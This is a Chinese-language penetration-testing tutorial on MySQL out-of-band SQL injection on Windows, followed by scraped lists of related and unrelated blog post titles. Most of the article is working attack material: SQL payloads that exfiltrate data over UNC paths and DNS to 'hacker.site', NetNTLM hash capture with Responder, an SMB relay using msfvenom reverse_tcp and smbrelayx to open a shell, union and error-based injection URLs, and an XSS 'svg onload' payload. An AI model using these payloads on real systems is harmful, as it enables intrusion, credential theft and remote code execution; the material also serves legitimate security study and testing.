MySQL Out-of-Band 攻击
概述
当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式。但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究。我们可以利用诸如load_file() 和 select…into之类的函数来outfile/dumpfile。除此之外,我们还可以窃取NetNTLM哈希或者进行SMB中继攻击。这所有的一切都只能在Windows环境下的MySQL中实现。
什么是 Out-of-Band 注入?
这些攻击涉及除了通过除服务器提取数据之外的其他方式,可能是HTTP(S)请求、DNS解析、文件系统、电子邮件等,具体取决于后端实现的功能。
MySQL中的限制条件
MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。
- 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
- 如果变量为空,则不会产生影响,引起不安全的配置。
- 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。
在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like “secure_file_priv”;
例如我的MySQL 5.5.34中的默认值为空,我们就可以使用这些功能。
在MySQL 5.6.34版本中,这个值默认是NULL,这将禁用导入和导出操作。
解决方案
这里有几个解决方法,可以在5.5.53之后的版本中克服这个问题。
- 启动mysqld进程,将“-secure-file-priv =”参数设置为空。
mysqld.exe –secure-file-priv=
- 在“my.ini”配置文件中添加条目:
secure-file-priv=
查找默认选项的加载顺序和配置文件的路径,键入以下内容:
mysqld.exe –help –verbose
- 将配置文件指向mysqld.exe
你可以创建一个新文件”myfile.ini”并将此文件作为MySQL的默认配置。
mysqld.exe –defaults-file=myfile.ini
配置内容如下
[mysqld]
secure-file-priv=
使用文件系统提取数据
在MySQL中,我们可以使用共享文件系统作为替代通道来提取数据。
select @@version into outfile ‘\\\\192.168.0.100\\temp\\out.txt’;
select @@version into dumpfile ‘\\\\192.168.0.100\\temp\\out.txt’;
select @@version into outfile ‘//192.168.0.100/temp/out.txt’;
select @@version into dumpfile ‘//192.168.0.100/temp/out.txt’;
请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径
使用DNS解析提取数据
可以在MySQL中使用的另一个渠道是DNS解析。
select load_file(concat(‘\\\\’,version(),’.hacker.site\\a.txt’));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
可以清楚地看到版本5.6.34跟DNS查询一起发送。
当MySQL尝试解析DNS查询时,我们可以记录DNS请求并从“hacker.site”DNS服务器成功提取数据。数据记录为子域。
提取数据时需要注意DNS请求不能使用特殊字符。可以利用MySQL字符串函数如mid、substr、replace等处理这些情况。
窃取NetNTLM哈希
正如你之前看到的,’load_file’和’into outfile / dumpfile’在Windows下的UNC路径下运行正常,可以用于解析一个不存在的路径,当DNS失败时,请求将作为LLMNR发送、NetBIOS- NS查询。通过投毒LLMNR协议,我们可以捕获NTLMv2哈希。 我们在攻击中可用到的工具包括:
以Responder为例。在Windows 8 x64中运行MySQL 5.6.34。
responder -I eth0 -rv
接下来,我们可以使用’load_file’,’into outfile / dumpfile’或’load data infile’来解析一个无效的UNC路径。
select load_file(‘\\\\error\\abc’);
select load_file(0x5c5c5c5c6572726f725c5c616263);
select ‘osanda’ into dumpfile ‘\\\\error\\abc’;
select ‘osanda’ into outfile ‘\\\\error\\abc’;
load data infile ‘\\\\error\\abc’ into table database.table_name;
视频演示:
https://www.youtube.com/watch?v=zE-TsQVn9oI
你也可以通过互联网窃取NetNTLM哈希。用VPS测试。
SMB中继攻击
通过使用“load_file”,“into outfile / dumpfile”和“load data infile”等函数,我们可以在Windows下访问UNC路径。我们可以在执行SMB中继攻击时利用此功能,并且在目标设备中弹出一个shell。以下是SMB中继攻击的可视化演示。这是我的实验设置配置:
- MySQL服务器:Windows 8: 192.168.0.100
- 攻击者:Kali: 192.168.0.101
- 受害者:Windows 7: 192.168.0.103(以管理员身份运行)
使用的工具
- smbrelayx
- Metasploit
首先,我在我的Kali上生成一个反向shell,并在Metasploit上运行’multi/handler’模块。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe >
reverse_shell.exe
然后使用smbrelayx指定受害者的IP地址和生成的反向shell并等待传入的连接。
smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe
一旦我们从MySQL服务器中执行任意语句,我们就可以得到反向shell。
select load_file(‘\\\\192.168.0.101\\aa’);
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select ‘osanda’ into dumpfile ‘\\\\192.168.0.101\\aa’;
select ‘osanda’ into outfile ‘\\\\192.168.0.101\\aa’;
load data infile ‘\\\\192.168.0.101\\aa’ into table database.table_name;
这些是Metasploit中’multi / handler’模块的选项。
一旦MySQL服务器把请求发送到Kali,smbrelayx就会执行SMB中继攻击将我们的反向shell上传并执行。
如果攻击成功,我们就可以从Windows 7中获得反向shell。
union注入和报错注入
‘load_file’函数能够用于基于union的报错注入。例如在基于union的场景中,我们可以使用OOB注入:
http://192.168.0.100/?
id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e7478
74)),3-- -
我们也可以使用基于报错的技术如BIGINT溢出方法或者基于EXP报错的方法。
http://192.168.0.100/?id=-1' or !(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- - http://192.168.0.100/?id=-1' or exp(~(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -
不使用or,可以使用 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /, div, -, +, %, mod等。
XSS + SQLi
我们可以将XSS攻击与MySQL相结合,以便于在渗透测试中帮你解决不同场景中的问题。我们可以执行执行窃取NetNTLM哈希和结合XSS的SMB中继攻击。如果XSS是持续的,那么受害者每次访问页面都会被感染。需要注意的是,当处理JavaScript时,你处于同源策略(SOP)环境下。
<svg onload=fetch(("http://192.168.0.100/?
id=-1'+union+select+1,load_file(0x5c5c5c5c6572726f725c5c6161),3-- -"))>
还可以使用MySQL回显HTML,从而回显一个无效的UNC路径来窃取NetNTLM哈希或者直接使用攻击者的IP实施SMB中继攻击。这些UNC路径仅在IE Web浏览器中解析。
http://192.168.0.100/?id=-1' union select 1,'<img src="\\\\error\\aa">'%23
总结
当向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法,从而导致所有带内方法不起作用时,可以使用这些讨论的方法。’select … into outfile / dumpfile’可以用于基于union的注入。’load_file’方法可以用于基于union的注入和基于报错的注入。
Paper
- https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html
- https://www.exploit-db.com/docs/41273.pdf
参考
- https://dev.mysql.com/doc/refman/5.5/en/
- https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python
- https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/
- http://bobao.360.cn/learning/detail/3458.html
MySQL Out-of-Band 攻击的更多相关文章
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- kali 系列学习10-渗透攻击MySQL数据库服务、PostgreSQL数据库服务、Tomcat服务和PDF文件
介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务和PDF文件等. 6.4.1 渗透攻击MySQL数据库服务 MySQL是一个关系型数据库管 ...
- PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击
首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...
- 对于新安装的MySQL如何提升MySQL的安全级别
一 作为最流行的开源数据库引擎,MySQL本身是非常安全的.即便如此,你仍然需要添加额外的安全层来保护你的MySQL数据库不受攻击,毕竟任何经营网上在线业务的人都不想冒数据库受到损坏的风险.接下来,我 ...
- mysql max_allowed_packet自动重置为1024 终结解决
背景: 测试环境1台centOS机器,最近一段频繁报“ Caused by: com.mysql.jdbc.PacketTooBigException: Packet for query is too ...
- 警惕!MySQL成数据勒索新目标
据最新报道显示,继MongoDB和Elasticsearch之后,MySQL成为下个数据勒索目标,从2月12日凌晨开始,已有成百上千个开放在公网的MySQL数据库被劫持,删除了数据库中的存储数据,攻击 ...
- 腾讯云报告——MySQL成勒索新目标,数据服务基线安全问题迫在眉睫
推荐理由 大数据时代,人类产生的数据越来越多,但数据越多的情况下,也会带来数据的安全性问题,如MySQL数据库上的数据,越来越多的黑客盯上了它,今天推荐的这篇文章来自于腾讯云技术社区,主要是针对MyS ...
- MySQL成勒索新目标,数据服务基线安全问题迫在眉睫
版权声明:本文由云鼎实验室原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/519598001488335177 来源:腾云阁 ...
- Kali-linux渗透攻击应用
前面依次介绍了Armitage.MSFCONSOLE和MSFCLI接口的概念及使用.本节将介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务 ...
- mysql数据库详解
001 数据库应用系统设计 1.规划 2.需求分析 3.概念模型设计 4.逻辑设计 5.物理设计 6.程序编制及调试 7.运行及维护. 002 创建数据库 CREATE DAT ...
随机推荐
- 【算法】php计算出丑数
丑数描述 把只包含因子2,3,5的正整数被称作丑数,比如4,10,12都是丑数,而7,23,111则不是丑数. 判断方法 首先除2,直到不能整除为止,然后除5到不能整除为止,然后除3直到不能整除 ...
- PHP基础学习----函数
一.函数的定义 function 函数名([参数1,参数2,参数3,...]){ 函数体: [return 返回值;] } //函数调用 函数名([参数1,参数2,参数3,...]): 二.可变函数 ...
- Markdown基础(内含:锚点使用,使用HTML,新页面跳转,目录生成)
Github样式显示参考:点我 之前说过用word写文章,这次说说Markdown写文章(推荐) 逆天推荐使用VSCode编写 装这个插件写作更方便: 内含:锚点使用,使用HTML,新页面跳转,目录生 ...
- Ubuntu 18.04 安装微信(Linux通用)
Linux相关的知识:https://www.cnblogs.com/dunitian/p/4822808.html#linux 新增谷歌浏览器添加到桌面的彻底删除:https://www.cnblo ...
- DHU--1247 Hat’s Words && HiHocder--1014 Trie树 (字典树模版题)
题目链接 DHU--1247 Hat’s Words HiHocder--1014 Trie树 两个一个递归方式一个非递归 HiHocoder #include<bits/stdc++.h> ...
- Building real-time dashboard applications with Apache Flink, Elasticsearch, and Kibana
https://www.elastic.co/cn/blog/building-real-time-dashboard-applications-with-apache-flink-elasticse ...
- jquery 事件的绑定,触发和解绑
js和jquery绑定的区别? HTML或原生js是单一对应绑定的,绑多了只留最后一个.jQuery是追加绑定的,绑多少执行多少.这个在每一本jQuery的书中都是首先提到的事情. jquery绑定与 ...
- struts2 防止表单的重复提交
防止表单重复提交(拦截器) 1.回顾之前的解决办法: 2.Struts2中的解决办法: 2.1.使用重定向 <result type="redirect">/succe ...
- ELK大流量日志分析系统搭建
1.首先说下EKL到底是什么吧? ELK是Elasticsearch(相当于仓库).Logstash(相当于旷工,挖矿即采集数据).Kibana(将采集的数据展示出来)的简称,这三者是核心套件,但并非 ...
- (贪心 线段不相交问题)codeVs 1214 线段覆盖
题目描述 Description 给定x轴上的N(0<N<100)条线段,每个线段由它的二个端点a_I和b_I确定,I=1,2,……N.这些坐标都是区间(-999,999)的整数.有些线段 ...